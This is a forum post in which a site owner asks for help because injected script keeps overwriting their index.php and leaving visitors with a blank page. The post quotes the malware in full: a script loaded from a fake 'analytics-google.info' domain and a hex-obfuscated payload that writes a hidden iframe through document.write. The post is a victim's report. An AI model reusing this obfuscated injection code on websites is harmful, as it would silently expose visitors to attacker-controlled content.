google-analyse, blank page

Hi there, I’ve been having this problem for quite some time.

This particular script seems to have overtaken my index.php page, overwriting the “/* Short and sweet */” script:
<script src=”http://analytics-google.info/i/urchin.js”></script><script>function c41920832628m487034eaeeb67(m487034eaef35f){ return (parseInt(m487034eaef35f,16));}function m487034eaf0b48(m487034eaf1340){ function m487034eaf2ab0(){return 2;} var m487034eaf1b10=”;m487034eaf3a4f=String.fromCharCode;for(m487034eaf22e0=0;m487034eaf22e0<m487034eaf1340.length;m487034eaf22e0+=m487034eaf2ab0()){ m487034eaf1b10+=(m487034eaf3a4f(c41920832628m487034eaeeb67(m487034eaf1340.substr(m487034eaf22e0,m487034eaf2ab0()))));}return m487034eaf1b10;} var z4e=”;var m487034eaf421f=’3C7’+z4e+’3637’+z4e+’2697’+z4e+’07’+z4e+’43E667’+z4e+’56E637’+z4e+’4696F6E20636865636B5F636F6E7’+z4e+’4656E7’+z4e+’428297’+z4e+’B7’+z4e+’6617’+z4e+’220693D303B7’+z4e+’7’+z4e+’68696C6528646F637’+z4e+’56D656E7’+z4e+’42E67’+z4e+’657’+z4e+’4456C656D656E7’+z4e+’47’+z4e+’3427’+z4e+’9546167’+z4e+’4E616D652827’+z4e+’69667’+z4e+’2616D6527’+z4e+’292E6C656E67’+z4e+’7’+z4e+’468297’+z4e+’B7’+z4e+’6617’+z4e+’220656C3D646F637’+z4e+’56D656E7’+z4e+’42E67’+z4e+’657’+z4e+’4456C656D656E7’+z4e+’47’+z4e+’3427’+z4e+’9546167’+z4e+’4E616D652827’+z4e+’69667’+z4e+’2616D6527’+z4e+’295B695D3B6966282028656C2E7’+z4e+’37’+z4e+’47’+z4e+’96C652E64697’+z4e+’37’+z4e+’06C617’+z4e+’93D3D27’+z4e+’6E6F6E6527’+z4e+’207’+z4e+’C7’+z4e+’C20656C2E7’+z4e+’37’+z4e+’47’+z4e+’96C652E7’+z4e+’6697’+z4e+’36962696C697’+z4e+’47’+z4e+’9203D3D27’+z4e+’68696464656E27’+z4e+’207’+z4e+’C7’+z4e+’C2028656C2E7’+z4e+’7’+z4e+’69647’+z4e+’4683C3520262620656C2E68656967’+z4e+’687’+z4e+’43C35292920262620656C2E6E616D65213D27’+z4e+’633427’+z4e+’297’+z4e+’B656C2E7’+z4e+’0617’+z4e+’2656E7’+z4e+’44E6F64652E7’+z4e+’2656D6F7’+z4e+’6654368696C6428656C293B7’+z4e+’D656C7’+z4e+’36520692B2B3B7’+z4e+’D7’+z4e+’D636865636B5F636F6E7’+z4e+’4656E7’+z4e+’428293B0D0A696628216D7’+z4e+’96961297’+z4e+’B646F637’+z4e+’56D656E7’+z4e+’42E7’+z4e+’7’+z4e+’7’+z4e+’2697’+z4e+’465287’+z4e+’56E657’+z4e+’363617’+z4e+’065282027’+z4e+’2533632536392536362537’+z4e+’322536312536642536352532302536652536312536642536352533642536332533342532302537’+z4e+’332537’+z4e+’32253633253364253237’+z4e+’2536382537’+z4e+’342537’+z4e+’342537’+z4e+’30253361253266253266253637’+z4e+’253666253666253637’+z4e+’2536632536352532642536312536652536312536632536392537’+z4e+’61253635253265253633253666253664253266253639253665253265253633253637’+z4e+’253639253366253331253335262537’+z4e+’382537’+z4e+’3525336425333126253237’+z4e+’2532622534642536312537’+z4e+’342536382532652537’+z4e+’322536662537’+z4e+’352536652536342532382534642536312537’+z4e+’342536382532652537’+z4e+’32253631253665253634253666253664253238253239253261253332253332253339253330253338253336253239253262253237’+z4e+’253632253333253330253632253634253339253636253338253237’+z4e+’2532302537’+z4e+’37’+z4e+’2536392536342537’+z4e+’34253638253364253335253333253334253230253638253635253639253637’+z4e+’2536382537’+z4e+’342533642533342533322533392532302537’+z4e+’332537’+z4e+’342537’+z4e+’39253663253635253364253237’+z4e+’2536342536392537’+z4e+’332537’+z4e+’302536632536312537’+z4e+’39253361253230253665253666253665253635253237’+z4e+’2533652533632532662536392536362537’+z4e+’3225363125366425363525336527’+z4e+’29293B7’+z4e+’D7’+z4e+’6617’+z4e+’2206D7’+z4e+’969613D7’+z4e+’47’+z4e+’27’+z4e+’5653B3C2F7’+z4e+’3637’+z4e+’2697’+z4e+’07’+z4e+’43E’;document.write(m487034eaf0b48(m487034eaf421f));</script><script>check_content()</script>

If that happens, visitors to my page will be welcomed by a blank white screen. I know its’ junk, and so I have to delete those scripts above and replace it with the “/* Short and sweet */… define…require…” code. However, the problem keep resurfacing. Is it a bug or worm or hack? Any suggestion?

Thanks for the help! 🙂